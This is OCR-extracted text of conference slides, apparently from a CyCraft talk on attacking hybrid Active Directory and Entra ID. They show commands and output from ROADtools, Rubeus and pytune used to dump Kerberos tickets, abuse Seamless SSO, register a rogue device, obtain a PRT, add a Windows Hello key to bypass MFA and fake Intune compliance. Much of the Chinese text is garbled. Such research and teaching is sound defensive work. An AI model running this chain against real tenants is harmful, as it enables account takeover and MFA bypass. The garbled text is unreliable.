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Echo Lee

> Cyber Security Researcher @ CyCraft
> Spoke at HITCON ENT, ROOTCON, CyberSec...
> Twitter: @iflywithoutwind

> BRIEETNRNERZE

John Jiang

> Deputy Director of Research
> Spoke at BlackHat, Troopers, HITCON...
> UCCU Hacker F[RI&#EA

> R BREILAE
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https://conf.devco.re/2024/keynote/DEVCORE-CONFERENCE-2024-Vtim-Taking-down-AD-in-minutes-things-that-you-missed-about-AD.pdf
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18 ££ 7 » AD iZTEHHT | SRR 2RESE

Active Directory NEZZ2HEEL w2 E » BHE Pass The Hashy WERMHIRESHEL 18 F >

TOPIC / TRACK

FEMNTEERELELZ 2 70§ ? 52 Windows 11 24H2 BiAHIEE NTLM E&:E » {82 Kerberos FEF SecOps %1
BERINERIE ? MM ECLERBFEARESHRE (R2EntralD ~ SAML) > BEFBMEMFENE  Lunch Leaming Sessior
ik S TE— R B AR o - LOCATION

. \ ] _ - EEERE—f
TSGR » RS AR EsEIREBER Active Directory WERFESE » K MABHERAR » I BiFst | AFEE®EE AC

AD E2EEiR Azure & Entra ID SES B2 0EET » AR ERAMEENSNNETE - ABRERERBERNM e
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HERE o |

SESSION TYPE
Breakout Session

a LANGUAGE
= H{E (John Jiang) L
- MRS EYEHRETE
BEREERKE |
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~ Windows

Active Directory Security
Enterprise Security
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https://cybersec.ithome.com.tw/2025/session-page/3558
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https://www.ithome.com.tw/news/162962
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https://www.ithome.com.tw/news/162962
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https://www.ithome.com.tw/news/162962
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https://www.ithome.com.tw/news/162962
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https://services.google.com/fh/files/misc/gcat_cloud_dr_survey_report_2023.pdf

Bl Azure (Entra ID) B EIEZE
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Directory Synchronization

Logon Primary Refresh Token (PRT) Entra ID

Request + Encrypted Session Key

Hybrid joined
devices

Entra Connect
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1% Entra Connect ZiA Tier 0 BE

Hybrid joined
devices
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Entra Connect
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Single sign-on V‘

Entra ID
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Entra Connect
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ldentity provisioning
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AD User Entra Connect Entra ID User
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FEEZ AR SR LAt ll: Soft Match

> FEHE UPN MNEIRERE

BIRNBYERE
UPN B %ISR E BER 510 21 25 D e 51 0

>
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AD User Entra Connect Entra ID User
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FETEERIRIE NEF Soft Match BYU{&E 4

> B A Soft Match >EEEENERE TEEEAS
> FRER FRY HEIm{ERE?
>BETE[RIZT OU EEA - #1Z >PIRno] A IRTE AT
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> 852820 (& Domain

> NEEZ&Z= MFA
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Entra Connect REZEAGBHEIKAVEE

Global

HasRole
User

Admin

b .

owns
User

APl Permission

Soft Match

App

(2

RoleManagement.

ReadWrite.
Directory
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Azure 7 Bi&s@h e AZ E =g

Azure HRPEAZTHFEAHZRREEAIEER - iF1EAzure portal@ia - Z&#HREEZICLI
PowerShell & Terraform
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ZE M FERR1E (Security Defaults)

ERNHAPPRBAZE M RRE 2% - FHESIARES A o] 5 F & 4B 24
AT ERRRS

e Azure A[]#43ik4

e Microsoft Entra & ETE P
e Azure PowerShell

e Azure CLI

IR BB RS Fr A7 HY Azure Resource Manager BRFEIfEFHE - amE
mEaHmEEE A - IRAIZEAR Azure Resource Manager API -
BIMTPRUEHIET FIIES VM - RTRRIES S - ILRAIRES @
Microsoft Entra ID =k Microsoft Graph -
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ROADtools>roadtx auth -u victim@my d-plL Il =r azrm
Requestlng token for resource https://management.core.windows.net/

Error , ng authen 2 '--' AAD P076: Due to a conflguratlon change made by your admlnlstrator or because you move
ba9c2 PU Correlation 1D: aaldoblt-a37//-4bbo-80b5-bald371d6ac8 T1mestamp 2025 02- 17 98 51 462
ROADtools>roadtx auth -u victim@my d -p L ! -r aadgraph

Requesting token for resource https://graph.windows.net/
Tokens were written to .roadtools_auth

ROADtools>roadtx auth -u victim@my d-plL ! —1| msgraph
Requesting token for resource https://graph.microsoft.com/
Tokens were written to .roadtools_auth
ROADtools>roadtx describe
{
"algll . llR5256ll 5
"kid": "imiOY2zOdYKxBttAqK_TtShYBTK",
"nonce": "V3WAT3YM-qMNguI®UUn2190rtkHzQBv1liTelLMFkua3k",
"typ" . lIJWT" :
"x5t": "imiOY2zOdYKxBttAqK_Tt5hYBTK"
}
{
"acct": 0O,
llacrll . lllll -
"aio": "ATQAy/8ZAAAABhZUS5Yn4aIBFnLblO1RnysyTPerSDOwp5gHzIbCckGS5EV6+Iehm9ulkhbyyulow",
amr": L
[ n pwd n

> R & IR

297 >

MNCYCARANFT




> Microsoft 365 1 A<1E
¢

L
Security Default B{REZE AN ’

??77?

> WEEE & IESE




MNCYCARANFT



Basic security
hygiene still
protects against

98*

of attacks

=) Requ.ire phishing-re.sist?nt
multifactor authentication (MFA)

% Apply Zero Trust principles

Use modern anti-malware

Basic cyber hygiene prevents 98% of attacks



https://techcommunity.microsoft.com/blog/microsoft-security-blog/basic-cyber-hygiene-prevents-98-of-attacks/3926856

Legend

Zero Trust User Access

Conditional Access to Resources

Policy is evaluated when
Microsoft Entra 1D
Identity Protection
Leaked cred protection
Behavioral Analytics

~—* Initial Access + Token Refresh

C} Change in security posture

l % Microsoft Defender
for identity

| .
¢ Microsoft Defender
for Cloud Apps

Increase Trust by
requesting MFA

‘ « Hello for Business I u

ir B Azure MFA

Conditional

n  Multi-Factor

w— Full access

=== Limited access BT Microsoft

Risk Mitigation BB Remediation Path

December 2021

s o 0t i M i i e s B WL UL PV

;owo_rkcua ) Office 365
estricted session > Dynamics 365

I
I
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I
I
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/A,‘..‘:»’.f’_ Port aws q

Monitor & | SAMLS /4
Restrict Access

= b SaaS Applications

..
o
—
- L
L
v
-
) Authentication A Microsoft Defender for Cloud Apps
< 3 Party MFA ] ccess |
T l e g Conditional AccessApp Control G @ a =
Microsoft Threat Intelligenc ! icrosof . 4 . T
Be TNI-:’: \.r.)nal':..:n da:ul‘gx:u:y ISCompliant > Mic tEntra ID 1 6 D
context & Human Dipertise I
Device Attribute(s) ) Microsoft Entra B2B & B2C ) UEELE L Lt Mt 4 Legacy Apps (Secure VPN Replacement )
l Partner MDM Microsoftintune : > cilnx o )\ (LDAP) @D ,’-4::
“ airwatch O'Jjamf. nuggg E Shatle % m ’ see
C t l?- -
ﬁ —— [' ?R.'m?:&tx“d fcantie -4 Ges 0900 Microsoft Information
B © Microsoft Defender H - P Protection (MIP) w
- for Endpoint &> Device Threat/ . 3 ::‘Y V':N
—o0 ignals . and Remote : -
8 B‘ggggp - B S Microsoft Entra Self : Access Devices a u: 4 n' y&.“
.- 208 Service Password  oest ARSI SRR
Reset (SSP
0>J Active IsManaged i B (MAM functionality) Mobile Apps
Q Directory ' m.‘ m l’ ‘ T
D Signal é Decision ' Enforcement

to make an informed decision

based on organizational policy

of policy across resources



&4 ZHY (Conditional Access)
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T B AY Conditional Access &4

>MFA
>fER WHIB (&%

>Device Is Managed

Eﬁ}

W5ERRE) AR A maE MFA

> &= Entra Joined * Hybrid Joined

>Device is Compliant
>H Intune [EFiZREEEG TR

W ERE & IELE > T8 4 T e E WEETE ZTA 2oE R HOR S IRSE
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AAIEERZR BT & FEEERYI

Hybrid joined

devices

<

Entra ID

Entra Connect
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Device Registration

>EBREAME EntralD 5 - SEEME TR

L I

> Device Key: 5 77 @2 N A

>4

[
)
e
g

> Transport Key: ¥ Session Key #ETINERZ

>/niEE AR Entra D - AhigEEFE TPV

Hybrid joined
devices

&

Entra ID
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Authentication Flow

Challenge Request

Nonce
<

15 7 5EEE
>
- PRT + EH Transport Key /1% Session Key ‘
< v

,—

B[N + PRT + Session Key | &
Hybrid joined | Once_> PRT C(e)sosli?g 2l Entra ID

devices >
Refresh Token, Access Token
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Single sign-on Flow

Challenge Request

Nonce

- 7S

<y e s H [ Nonce + PRT + Session Key | &
QLN Ol -> PRT Cookie

devices >
Refresh Token, Access Token

Entra ID
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Conditional Access BYFIERfikHE

Conditional Access £i% 18
Access Token B9 Claim

7 1T FER

Access Token B

2% Access Token 2H PRT

oo, EER

WERAESE > WEBABRESR WEBE ZTA 2RI TR SRS >
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/ PRT V% HI2 5 7 SSO F1& /
A Browser /KBS SSO BitiERY

> W SIELE > T B 4 e WEETE ZTA 248 RHUR SIELE




Browser SSO iz

Chrome

PRT Cookie

_-_
~§\
——

P
<

BrowserCore.exe

MicrosoftAccount
TokenProvider.dll

Nonce

call number , payload
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aCallAuthenticationPackage
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T£=A TPM iz E _EHES PRT Cookie
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ZERRIFEEIR (Persistence)
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” SSO via PRT &2 %% Feature
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ERSEBRRRIBRR

>EM—aERNERE
> lN1F A A deviceld BY Access Token (3,55 PRT Cookie)
>EEMTEETRRAEE MFA - BRRE TR Access Token
tAEFHE MFA Claim
> AEENEE RIS Windows Hello Key

>EZINTniERBEE MFA §2:5R7 Token (ngcmfa Claim)

>EERNEEE S Device Compliance
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FFEBR
B3 1 30

I

== /JIL

STEP 1:

ERAEA deviceld BY Token

STEP 2:

KEIEHERE MFA BE:E A

|
|
|

STEP 3:

ik

STEP 4.

=[] 2

M #TAY Windows Hello Key

N
|

STEP 5:

h h3

i@ Device Compliance

#7849 Device J
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STEP 1: ZENAEA deviceld BY Token
ASLEESIN R




EHERAEZE (NTLM hash) H9A T

>HEVERE@A

> 22 RS Al &%

>BERERE
>Shadow Credentials — -
>SAM Dump
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| eaklLess? Another Leak Way in Windows Kernel DFESC.
Angelboy@DEVCORE CONFERENCE 2024



https://conf.devco.re/2024/keynote/DEVCORE-CONFERENCE-2024-Angelboy-LeakLess-Another-Leak-Way-in-Windows-Kernel-DFSC.pdf
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Seamless SSO

>FEZGABIRY ; tH5R 500 58 1b=EAE 27% HFE
> AT EEZE Seamless SSO MAEH SSO via PRT ?
JEEE: A

>Windows 10 * Windows Server 2016 DARTHI{ESE R4t A2 1%
Hybrid joined (PRT)

>Seamless SSO I Entra ID &= 1 Ith i 45 13 (9 B9 AR 7%
>fEA Kerberos ¥ Entra ID #&E175%:5
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Seamless SSO 5 35 1 il
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® AS-REQ 1 @ ASREP | sT )

% : ® AP-REQ [ ST ) X @

Client @ e IR ., D
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8% - FIEERTEIET Access Token

==
==
TGT AD

® AS-REQ 1 @ ASREP | sT )

g——s=__

Entra ID

Victim
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%38 Rubeus ¥HY Service Ticket

PS C:\Users\Victim\Desktop\tool\Rubeus> Add-Type —AssemblyName System.IdentityModel
PS C:\Users\Victim\Desktop\tool\Rubeus> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityTol

HTTP/autologon.microsoftazuread-sso.com'

Id 1 uuid-c6f239f3-058b-U4765-81fc—-3e25d668fudu-2
SecurityKeys : {System.IdentityModel.Tokens.InMemorySymmetric
ValidFrom : 3/8/2025 7:34:50 AM

ValidTo : 3/8/2025 5:34:04 PM

ServicePrincipalName : HTTP/autologon.microsoftazuread-sso.com

tricSecurityKey

PS C:\Users\Victim\Desktop\tool\Rubeus> .\Rubeus.exe dump /nowrap /service:HTTP

Action: Dump Kerberos Ticket Data (Current User)

[*] Target service : HTTP
[*] Current LUID - @x15adula

Base6U4EncodedTicket

dDIGUDCCBJ SgAwIBBaEDAgEWDDIFJTCCBSthgUdl"‘lIIFGaADAgEFDREbDBlZUlRFUleUyS (

=T AnY.Vs ANMCANL 3 na SRR . QD a

A&CYGRAFT‘

LY - ..-.. L\ - - i .



15 Service Ticket SBHaRKEEMEEERY Token

Rubeus>seamlesspass —tenant —domain —dc ECHO-DCeO1. —c 29d
9ed98-al69-U536-ade2-f981bcld605e -r urn:ms—-drs:enterpriseregistration.windows.net |-tgs doIGODCCBiSqAwIB

Leveraging Kerberos tickets to get cloud access tokens using Seamless SSO

[+] Seamless SSO is enabled for mysteries.world
[+] Loaded ticket as Kirbi

[+] Got Desktop SSO login token

[+] Got access token

token_type : Bearer

scope : adrs_access

expires_in : 5346

ext_expires_in : 9346

expires_on : 1741458040

not_before X 1741452393

resource . urn:

access_token eyJGeXA101JKVlQlLCJhch101JSUzI1N1IsIngldCIGIkaTmFFNGkBCJdGZer
sSTNMVllJVSIsImthCIGIkaTmFFNGRGCJdGZ21nTDNzSElsSTNMV11JVSJ9 eyJhdWQiO0iJlcmd6bXMtZHIZzOmVudGVycH!

refresh_token : 1.ASsAi_7sXhmef0eaORZS1Pz—-eZjt2S1ppDZFrelL5gbwdYF7CADwrAA.AgA

peullamRam2 jAF1XRQEAwDs _wUA9P_AqT1Ts6uABtcX0s_Dq0Q8dC6Fvach9oHMgDknoS5XYtw-1sBfR7ZXUy6sOPboOh_-
811T0G10jOpLEMMNGXhjdNIr49tlqudXob6TFfGOF6qV1XtGhRKDgPombR2xZoL712pHFO0gzIPMmGzySZ67UP829xZpbSa

MNCYCARANFT




Seamless SSO

n

STEP 2: ¥ ZFIEF7EE MFA BE:8 A

JFEBR

I TE

ik

STEP 3: sEf¥#8Y Device

=[] 2

STEP 4: 3¥f#8Y Windows Hello Key

STEP 5: #3%8 Device Compliance

|
|
|
|

<
|
|
|
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STEP 2: ¥ Z|EHEE MFA EEE A T




BESHREENNLZ 21

s 2
(BEEA)

- y
. 2
FTi& Windows Hello Key
(MFA Claim)

- y
f 3 2
HIE MFA
(MFA Claim)

- y

'_rlf-,r."_,. A
o~ E8 /\

raE— =N MEA

(ngr mia (‘Irllrn)
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DEMO:
& E A MFA Claim B9 Token /‘
o] LB IEFh1E MFA (R85

”
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4238 ngcmfa Claim BYRR

-
ﬁ"ﬁEM EE‘,
(BEEA)
-
-
FTi& Windows Hello Key
(MFA Claim)
-
-
HIE MFA
(MFA Claim)
-

I

(ngcmfta Claim)
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Seamless SSO

113

At fif}
FTHY MFA

ik

STEP 3:

8RR {

Iﬁlﬁggiﬁ *?E #7849 Device ]

{STEP 4: FEMFETAY Windows Hello Key }
{STEP 5: 38i® Device Compliance }

MNCYCARANFT



STEP 3: & f#i#Y Device P



=t fl¥rAY Device

>3558 Seamless SSO ZZIAY Access Token sFfizEE

>3%53@ Seamless SSO Z3HY Refresh Token FHEER PRT

ROADtools>python pytune.py entra_join -o Windows -d DEVCORECONF -u victim@
orld -a[$access_token
Saving private key to DEVCORECONF_Key.pem

Registering device

Device ID: ecf66Udec-7ab6c—-Uf5c-97b8-953+3d6e7c25

Saved device certificate to DEVCORECONF_cert.pem

[+] successfully registered DEVCORECONF to Entra ID!

[*] here is your device certificate: DEVCORECONF.pfx (pw: password)
ROADtools>roadtx prt -u victim@ -r [$refresh_token| -k DEVCORE
em ——cert-pfx DEVCORECONF.pfx ——pfx-pass $pfx_pass
Obtained PRT: 1.ASsAi_7sXhmef0@eaORZS1Pz-eZjt2S1ppDZFrelL5gbwdYF7CADwrAA.AgAE

MNCYCARNFT
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RTEIREHEE PRT AHEMBE —X

VRS > R B ER Token BESTER
: 12X Token 22218
>{EHBEEEM / Joined EE R RTEC

== oh ESIX A7
I/_I\ﬁ’ﬁﬁl%ﬁnﬂ -A

>hTNEEREREREE T 22k

Ll
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Seamless SSO

3
279 MFA

B R .

WEE T IE ST AREE e

{STEP 4: FEMFETAY Windows Hello Key }

{STEP 5: 38i® Device Compliance }

MNCYCARANFT



=Tl #TEY Windows Hello Key

ROADtools>roadtx [prtenrich victim@
Tokens were written to .roadtools_auth
ROADtools>roadtx |winhello hello_devcoreconf. ks

Saving private key to hello_devcoreconf.key

i'kid': 'ebd765bb-66b2-U4263-ba9a-e396U4d949639"', |
QYVVwVFZYcEpNVTVwUlhOSmJYUnan@SRTmtchpFZEESRl i
1JIWSTVhM2xSTUZWcFRFTKtNR1ZZUVdsUGEVcExWakZSYVVURFNqURIXRKRZwWVDJSS2JXUX LXbmxPVOZKNVUydFNSI

ROADtools>roadtx describe

{ Authentication method Detail
Ilacrll : II1II .
"aio”: IIAUMMAAE? jVFEJbC}{f :fta'"ll g Software OATH token 1b31ae50-2bcc-41ef-8756-db56837788ca
1] [ |
amr . [ Windows Hello for Business DEVCORECONF
1] Pwd 1] .
"rsa", Windows Hello for Business ECHO-WIN11
[]] []]
"ngc?lrFa r Microsoft Authenticator iIPhone 15 Pro
mfa

1.

MNCYCARNFT



Seamless SSO

¥ i
¥rEY MFA
£ 425 38% (o
8RR B
g 7= 30 MR
IQ%/}%*E 2B RTE
AP FTEEMAY

MFA B :8

{STEP 5: 38i® Device Compliance }
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.’ STEP 5: @i Device Compliance
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%R pytune B EBRNRBEIRECASETR

pytune>python pytune.py enroll_intune Windows DEVCORECONF DEVCORECONF . pfx vic
resolved enrollment url: https://fef.msuc@3.manage.mi 1t
[+] successfully enrolled DEVCORECONF to Intune!
here is your MDM pfx: DEVCORECONF_mdm.pfx (pw: passwc
pytune>python pytune.py check_compliant Windows DEV ies
resolved IWservice url: https://fef.msucO®3.manage.microsoft.com/TrafficGateway/Traffi
resolved token renewal url: https://fef.msuc@3.manage.microsoft.com/0OAuth/Stateless0?
[+] victim_Windows_3/5/2025_11:17 AM is compliant!
pytune>|

Name Tl Enabled 0s Version Join type Owner Compliant

[:jj DEVCORECONF Yes Windows 10.0.... Microsoft E..
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(E.g. Soft Match, Seamless SSO)
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